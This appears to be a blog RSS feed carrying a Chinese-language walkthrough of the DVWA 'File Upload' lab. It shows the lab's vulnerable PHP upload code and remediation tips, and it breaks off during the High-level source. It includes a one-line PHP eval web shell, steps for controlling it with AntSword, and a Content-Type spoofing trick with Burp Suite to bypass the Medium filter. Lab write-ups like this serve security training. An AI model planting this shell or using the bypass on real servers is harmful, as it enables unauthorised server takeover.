<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>木马 on 知识带给我们自由</title>
    <link>https://yuexuan521.github.io/zh/tags/%E6%9C%A8%E9%A9%AC/</link>
    <description>Recent content in 木马 on 知识带给我们自由</description>
    <image>
      <title>知识带给我们自由</title>
      <url>https://yuexuan521.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
      <link>https://yuexuan521.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
    </image>
    <generator>Hugo -- 0.160.1</generator>
    <language>en-us</language>
    <copyright>See this site&amp;rsquo;s source code here, licensed under GPLv3 ·</copyright>
    <lastBuildDate>Wed, 25 Sep 2024 12:22:56 +0000</lastBuildDate>
    <atom:link href="https://yuexuan521.github.io/zh/tags/%E6%9C%A8%E9%A9%AC/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>网络安全 DVWA通关指南 DVWA File Upload（文件上传）</title>
      <link>https://yuexuan521.github.io/zh/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-dvwa%E9%80%9A%E5%85%B3%E6%8C%87%E5%8D%97-dvwa-file-upload%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/</link>
      <pubDate>Wed, 25 Sep 2024 12:22:56 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-dvwa%E9%80%9A%E5%85%B3%E6%8C%87%E5%8D%97-dvwa-file-upload%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/</guid>
      <description>&lt;h2 id=&#34;dvwa-file-upload文件上传&#34;&gt;DVWA File Upload（文件上传）&lt;/h2&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331831.jpeg&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331831.jpeg&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;参考文献&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.cnblogs.com/linfangnan/p/13994655.html#dvwa-%E9%9D%B6%E5%9C%BA&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;WEB 安全靶场通关指南&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;h3 id=&#34;修复建议&#34;&gt;修复建议&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;1、使用白名单限制可以上传的文件扩展名&lt;/p&gt;
&lt;p&gt;2、注意0x00截断攻击（PHP更新到最新版本）&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="dvwa-file-upload文件上传">DVWA File Upload（文件上传）</h2>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331831.jpeg">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331831.jpeg" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<p>参考文献</p>
<ul>
<li><a href="https://www.cnblogs.com/linfangnan/p/13994655.html#dvwa-%E9%9D%B6%E5%9C%BA"target="_blank" rel="noopener noreferrer">WEB 安全靶场通关指南</a></li>
</ul>
<hr>
<blockquote>
<h3 id="修复建议">修复建议</h3>
<blockquote>
<p>1、使用白名单限制可以上传的文件扩展名</p>
<p>2、注意0x00截断攻击（PHP更新到最新版本）</p>
<p>3、对上传后的文件统一随机命名，不允许用户控制扩展名</p>
<p>4、上传文件的存储目录禁用执行权限</p>
</blockquote>
</blockquote>
<h2 id="low">Low</h2>
<p>1、分析网页源代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;Upload&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Where are we going to be writing to?
</span></span></span><span class="line"><span class="cl">	<span class="nv">$target_path</span>  <span class="o">=</span> <span class="nx">DVWA_WEB_PAGE_TO_ROOT</span> <span class="o">.</span> <span class="s2">&#34;hackable/uploads/&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$target_path</span> <span class="o">.=</span> <span class="nx">basename</span><span class="p">(</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Can we move the file to the upload folder?
</span></span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span> <span class="o">!</span><span class="nx">move_uploaded_file</span><span class="p">(</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;tmp_name&#39;</span> <span class="p">],</span> <span class="nv">$target_path</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="c1">// No
</span></span></span><span class="line"><span class="cl">		<span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="c1">// Yes!
</span></span></span><span class="line"><span class="cl">		<span class="nv">$html</span> <span class="o">.=</span> <span class="s2">&#34;&lt;pre&gt;</span><span class="si">{</span><span class="nv">$target_path</span><span class="si">}</span><span class="s2"> succesfully uploaded!&lt;/pre&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">&lt;?php
</span></span></span><span class="line"><span class="cl"><span class="err">// 检查是否接收到表单提交的“Upload”按钮
</span></span></span><span class="line"><span class="cl"><span class="err">if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
</span></span></span><span class="line"><span class="cl"><span class="err">    // 定义目标文件夹路径，这里假设DVWA_WEB_PAGE_TO_ROOT是一个预定义常量，指向网站根目录
</span></span></span><span class="line"><span class="cl"><span class="err">    $target_path  = DVWA_WEB_PAGE_TO_ROOT . &#34;hackable/uploads/&#34;;
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    // 获取上传文件的原始名称，并将其附加到目标路径上，以构建完整的文件存储路径
</span></span></span><span class="line"><span class="cl"><span class="err">    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    // 使用PHP内置函数move_uploaded_file尝试将临时文件移动到目标路径
</span></span></span><span class="line"><span class="cl"><span class="err">    if( !move_uploaded_file( $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ], $target_path ) ) {
</span></span></span><span class="line"><span class="cl"><span class="err">        // 如果文件未成功移动（例如，由于权限问题或文件大小超出限制等），输出错误信息
</span></span></span><span class="line"><span class="cl"><span class="err">        $html .= &#39;&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;&#39;;
</span></span></span><span class="line"><span class="cl"><span class="err">    }
</span></span></span><span class="line"><span class="cl"><span class="err">    else {
</span></span></span><span class="line"><span class="cl"><span class="err">        // 文件成功上传至指定位置，输出成功信息
</span></span></span><span class="line"><span class="cl"><span class="err">        $html .= &#34;&lt;pre&gt;{$target_path} successfully uploaded!&lt;/pre&gt;&#34;;
</span></span></span><span class="line"><span class="cl"><span class="err">    }
</span></span></span><span class="line"><span class="cl"><span class="err">}
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">// 注解：
</span></span></span><span class="line"><span class="cl"><span class="err">// 上述代码实现了一个简单的文件上传功能，但缺少必要的安全验证，如文件类型检查、文件大小限制以及防止文件名注入攻击等。
</span></span></span><span class="line"><span class="cl"><span class="err">// 在实际生产环境中，应在将文件移动到目标路径之前，添加详细的验证和清理步骤以确保上传行为的安全性。
</span></span></span><span class="line"><span class="cl"><span class="err">?&gt;
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>2、Low级别没有对上传的文件进行任何限制，我们可以直接上传一句话木马，然后使用中国蚁剑连接。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span> <span class="o">@</span><span class="k">eval</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;attack&#39;</span><span class="p">])</span> <span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331832.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331832.png" 
             alt="image-20240511103716434" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>使用蚁剑连接一句话木马</p>
<ol>
<li>
<p>启动AntSword应用后，在界面的任意空白区域点击鼠标右键，这时会出现一个菜单。在弹出的菜单中，选择「添加数据」选项。 
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331833.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331833.png" 
             alt="屏幕截图 2024-05-11 104500" 
              
             loading="lazy"
        />
    </a>
</div></p>
</li>
<li>
<p>进入到添加数据的页面，根据屏幕提示填写所需的信息。确保每一项必填内容都已正确无误地填写完毕，点击「测试连接」按钮，检查连接是否成功。 
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331834.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331834.png" 
             alt="屏幕截图 2024-05-11 104740" 
              
             loading="lazy"
        />
    </a>
</div></p>
</li>
<li>
<p>填写完成后，点击页面中的「添加」按钮，这时候你刚刚输入的信息会被保存为一个新的Shell条目，并能在数据管理列表中看到它。 
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331835.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331835.png" 
             alt="image-20240511105111468" 
              
             loading="lazy"
        />
    </a>
</div></p>
</li>
<li>
<p>接下来，双击这个新添加的Shell条目，系统将带你进入该Shell对应的文件管理界面，从而可以进一步操作和管理相关文件。 
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331836.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331836.png" 
             alt="image-20240511104222952" 
              
             loading="lazy"
        />
    </a>
</div></p>
</li>
</ol>
<p>连接木马成功后，直接获取Webshell，可以在服务器上进行任意操作。</p>
<h2 id="medium">Medium</h2>
<p>1、分析网页源代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;Upload&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Where are we going to be writing to?
</span></span></span><span class="line"><span class="cl">	<span class="nv">$target_path</span>  <span class="o">=</span> <span class="nx">DVWA_WEB_PAGE_TO_ROOT</span> <span class="o">.</span> <span class="s2">&#34;hackable/uploads/&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$target_path</span> <span class="o">.=</span> <span class="nx">basename</span><span class="p">(</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// File information
</span></span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_name</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;name&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_type</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;type&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_size</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;size&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Is it an image?
</span></span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span> <span class="p">(</span> <span class="nv">$uploaded_type</span> <span class="o">==</span> <span class="s2">&#34;image/jpeg&#34;</span> <span class="o">||</span> <span class="nv">$uploaded_type</span> <span class="o">==</span> <span class="s2">&#34;image/png&#34;</span> <span class="p">)</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">		<span class="p">(</span> <span class="nv">$uploaded_size</span> <span class="o">&lt;</span> <span class="mi">100000</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="c1">// Can we move the file to the upload folder?
</span></span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span> <span class="o">!</span><span class="nx">move_uploaded_file</span><span class="p">(</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;tmp_name&#39;</span> <span class="p">],</span> <span class="nv">$target_path</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="c1">// No
</span></span></span><span class="line"><span class="cl">			<span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="c1">// Yes!
</span></span></span><span class="line"><span class="cl">			<span class="nv">$html</span> <span class="o">.=</span> <span class="s2">&#34;&lt;pre&gt;</span><span class="si">{</span><span class="nv">$target_path</span><span class="si">}</span><span class="s2"> succesfully uploaded!&lt;/pre&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="c1">// Invalid file
</span></span></span><span class="line"><span class="cl">		<span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;pre&gt;Your image was not uploaded. We can only accept JPEG or PNG images.&lt;/pre&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">&lt;?php
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">// 检查是否设置了 &#39;Upload&#39; POST 参数，这通常意味着文件上传表单已被提交
</span></span></span><span class="line"><span class="cl"><span class="err">if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    // 设置目标上传路径，结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads目录下
</span></span></span><span class="line"><span class="cl"><span class="err">    $target_path  = DVWA_WEB_PAGE_TO_ROOT . &#34;hackable/uploads/&#34;;
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    // 使用原始文件名构建完整的文件保存路径
</span></span></span><span class="line"><span class="cl"><span class="err">    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    // 获取上传文件的信息
</span></span></span><span class="line"><span class="cl"><span class="err">    $uploaded_name = $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ];      // 文件名
</span></span></span><span class="line"><span class="cl"><span class="err">    $uploaded_type = $_FILES[ &#39;uploaded&#39; ][ &#39;type&#39; ];      // 文件类型（MIME类型）
</span></span></span><span class="line"><span class="cl"><span class="err">    $uploaded_size = $_FILES[ &#39;uploaded&#39; ][ &#39;size&#39; ];      // 文件大小
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    // 检查文件是否为允许的图像格式（JPEG或PNG）且文件大小小于100KB
</span></span></span><span class="line"><span class="cl"><span class="err">    if( ( $uploaded_type == &#34;image/jpeg&#34; || $uploaded_type == &#34;image/png&#34; ) &amp;&amp; 
</span></span></span><span class="line"><span class="cl"><span class="err">        ( $uploaded_size &lt; 100000 ) ) {
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">        // 尝试将上传的临时文件移动到指定的目标路径
</span></span></span><span class="line"><span class="cl"><span class="err">        if( !move_uploaded_file( $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ], $target_path ) ) {
</span></span></span><span class="line"><span class="cl"><span class="err">            // 如果文件无法移动（可能是权限问题或路径错误），输出错误信息
</span></span></span><span class="line"><span class="cl"><span class="err">            $html .= &#39;&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;&#39;;
</span></span></span><span class="line"><span class="cl"><span class="err">        }
</span></span></span><span class="line"><span class="cl"><span class="err">        else {
</span></span></span><span class="line"><span class="cl"><span class="err">            // 文件成功上传，输出成功信息及上传后的文件路径
</span></span></span><span class="line"><span class="cl"><span class="err">            $html .= &#34;&lt;pre&gt;{$target_path} successfully uploaded!&lt;/pre&gt;&#34;;
</span></span></span><span class="line"><span class="cl"><span class="err">        }
</span></span></span><span class="line"><span class="cl"><span class="err">    }
</span></span></span><span class="line"><span class="cl"><span class="err">    else {
</span></span></span><span class="line"><span class="cl"><span class="err">        // 如果文件不是允许的类型或超过大小限制，输出错误信息
</span></span></span><span class="line"><span class="cl"><span class="err">        $html .= &#39;&lt;pre&gt;Your image was not uploaded. We can only accept JPEG or PNG images.&lt;/pre&gt;&#39;;
</span></span></span><span class="line"><span class="cl"><span class="err">    }
</span></span></span><span class="line"><span class="cl"><span class="err">}
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">?&gt;
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>Medium级别限制上传文件类型只能为JPEG或PNG，同时限制文件大小不能超过100KB。这个时候再上传一句话木马，会提示上传失败。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331837.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331837.png" 
             alt="image-20240511110718455" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、使用Burp Suite抓取一句话木马文件上传的包，发现上传的PHP文件类型在包里。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331838.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331838.png" 
             alt="image-20240511111423759" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>修改1.php文件的文件类型为“image/png”，然后Foward。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Content-Type: image/png; 
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331839.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331839.png" 
             alt="image-20240511111909483" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>虽然我们上传的文件是PHP文件，但还是可以通过修改网页HTTP报文中文件类型，来绕过网页白名单检查。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331840.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331840.png" 
             alt="image-20240511111924303" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h2 id="high">High</h2>
<p>1、分析网页源代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;Upload&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Where are we going to be writing to?
</span></span></span><span class="line"><span class="cl">	<span class="nv">$target_path</span>  <span class="o">=</span> <span class="nx">DVWA_WEB_PAGE_TO_ROOT</span> <span class="o">.</span> <span class="s2">&#34;hackable/uploads/&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$target_path</span> <span class="o">.=</span> <span class="nx">basename</span><span class="p">(</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// File information
</span></span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_name</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;name&#39;</span> <span class="p">];</span>
